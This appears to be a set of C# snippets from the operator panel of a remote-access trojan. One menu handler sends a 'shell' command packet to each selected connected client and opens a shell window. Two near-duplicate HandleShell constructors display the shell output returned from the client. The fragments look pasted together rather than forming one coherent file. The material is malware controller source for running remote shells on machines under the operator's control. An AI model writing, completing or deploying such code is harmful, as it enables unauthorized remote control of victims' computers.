private void RemoteShellToolStripMenuItem1_Click_1(object sender, EventArgs e) { try { if (listView1.SelectedItems.Count > 0) { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "shell"; foreach (ListViewItem itm in listView1.SelectedItems) { Clients client = (Clients)itm.Tag; this.BeginInvoke((MethodInvoker)(() => { FormShell shell = (FormShell)Application.OpenForms["shell:" + client.ID]; if (shell == null) { shell = new FormShell { Name = "shell:" + client.ID, Text = "shell:" + client.ID, F = this, C = client }; shell.Show(); ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } })); } } } catch { } }
public HandleShell(MsgPack unpack_msgpack, Clients client) { FormShell shell = (FormShell)Application.OpenForms["shell:" + client.ID]; if (shell != null) { shell.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("ReadInput").AsString); shell.richTextBox1.SelectionStart = shell.richTextBox1.TextLength; shell.richTextBox1.ScrollToCaret(); } }
public HandleShell(MsgPack unpack_msgpack, Clients client) { if (Program.form1.InvokeRequired) { Program.form1.BeginInvoke((MethodInvoker)(() => { FormShell shell = (FormShell)Application.OpenForms["shell:" + client.ID]; if (shell != null) { shell.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("ReadInput").AsString); shell.richTextBox1.SelectionStart = shell.richTextBox1.TextLength; shell.richTextBox1.ScrollToCaret(); } })); } }